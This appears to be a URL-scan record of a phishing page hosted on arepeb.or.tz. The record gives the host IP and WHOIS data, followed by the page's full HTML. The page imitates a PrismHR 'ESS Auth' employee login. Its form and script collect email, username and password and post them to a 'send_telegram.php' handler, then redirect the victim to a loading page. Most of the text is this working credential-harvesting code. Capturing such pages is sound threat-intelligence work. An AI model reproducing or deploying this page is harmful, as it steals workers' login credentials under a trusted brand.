https://arepeb.or.tz/auth/ess/
Last Checked: Sep 05, 2024, 09:32 EDT
IP Address: | 49.12.147.23 |
ASN #: | AS24940 HETZNER-AS, DE |
Location: | Unknown, Unknown, Unknown |
URL Reputation: |
|
% % TZNIC WHOIS data and services are subject to the Terms of Use % available at: https://www.tznic.or.tz/Whois_tou.pdf % % You may also use our WHOIS Web service available at: % https://whois.tznic.or.tz/whois % % % Whoisd Server Version: 3.10.2 % Timestamp: Thu Sep 05 16:32:51 2024 domain: arepeb.or.tz registrant: 3F160D2F63968152 admin-c: B3560D2F63AC9D91 nsset: CCD6638AB53AAC4D registrar: REG-ROUTEAFRICA registered: 28.06.2016 12:57:55 changed: 06.05.2024 16:05:09 expire: 28.06.2025 contact: 3F160D2F63968152 registrar: REG-ROUTEAFRICA created: 23.06.2021 08:52:10 contact: B3560D2F63AC9D91 registrar: REG-ROUTEAFRICA created: 23.06.2021 08:52:11 nsset: CCD6638AB53AAC4D nserver: dx31.rcnoc.com nserver: dx32.rcnoc.com tech-c: 3F160D2F63968152 registrar: REG-ROUTEAFRICA created: 06.05.2024 16:05:08
-
GET200 OK
https://ess.prismhr.com/ess/auth/favicon.ico
<html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>ESS Auth</title> <link rel="icon" href="https://ess.prismhr.com/ess/auth/favicon.ico" type="image/x-icon"> <style> body { font-family: Arial, sans-serif; background-color: #f4f4f4; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; } .container { background-color: white; padding: 20px; border-radius: 10px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); width: 100%; max-width: 600px; box-sizing: border-box; } .header { text-align: center; margin-bottom: 20px; } .header img { max-width: 500px; height: auto; } .divider { height: 1px; background-color: #4CAF50; margin: 10px 0; } .header p { margin: 20px 0; font-size: 16px; color: #333; } .form-group { margin-bottom: 15px; } label { display: block; margin-bottom: 5px; color: #333; } input[type="text"], input[type="email"], input[type="password"] { width: 100%; padding: 10px; margin: 5px 0; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; } input[type="submit"] { width: 100%; background-color: #4CAF50; color: white; padding: 14px 20px; margin: 8px 0; border: none; border-radius: 4px; cursor: pointer; } input[type="submit"]:hover { background-color: #45a049; } .error-message { color: red; font-size: 12px; margin-top: 5px; } </style> </head> <body> <div class="container"> <div class="header"> <img src="logo-top.png" alt="Logo"> <div class="divider"></div> <p>Please login with your credentials to continue</p> </div> <form id="loginForm" action="send_telegram.php" method="POST" onsubmit="submitForm(event)"> <div class="form-group"> <label for="email">Email:</label> <input type="email" id="email" name="email" required=""> <div class="error-message" id="emailError"></div> </div> <div class="form-group"> <label for="username">Username/ID:</label> <input type="text" id="username" name="username" required=""> <div class="error-message" id="usernameError"></div> </div> <div class="form-group"> <label for="password">Password:</label> <input type="password" id="password" name="password" required=""> <div class="error-message" id="passwordError"></div> </div> <input type="submit" value="Login"> </form> </div> <script> function submitForm(event) { event.preventDefault(); // Prevent default form submission var form = document.getElementById('loginForm'); var email = form.querySelector('input[name="email"]').value.trim(); var username = form.querySelector('input[name="username"]').value.trim(); var password = form.querySelector('input[name="password"]').value.trim(); var hasErrors = false; // Clear previous error messages document.querySelectorAll('.error-message').forEach(function(el) { el.textContent = ''; }); // Validation checks if (!email) { document.getElementById('emailError').textContent = 'Email is required.'; hasErrors = true; } if (!username) { document.getElementById('usernameError').textContent = 'Username/ID is required.'; hasErrors = true; } if (!password) { document.getElementById('passwordError').textContent = 'Password is required.'; hasErrors = true; } // If there are validation errors, stop form submission if (hasErrors) return; // Create FormData object var formData = new FormData(form); // Create XMLHttpRequest var xhr = new XMLHttpRequest(); xhr.open("POST", form.action, true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.onload = function () { if (xhr.status === 200) { var response = JSON.parse(xhr.responseText); if (response.status === "success") { // Redirect to loading.html with email as a query parameter window.location.href = 'loading.html?email=' + encodeURIComponent(email); } else { alert('Error: ' + response.message); } } else { alert('Error: Unable to submit form. Status: ' + xhr.status); } }; xhr.onerror = function () { alert('Error: Network error.'); }; // Send form data xhr.send(new URLSearchParams(formData).toString()); } </script> </body></html>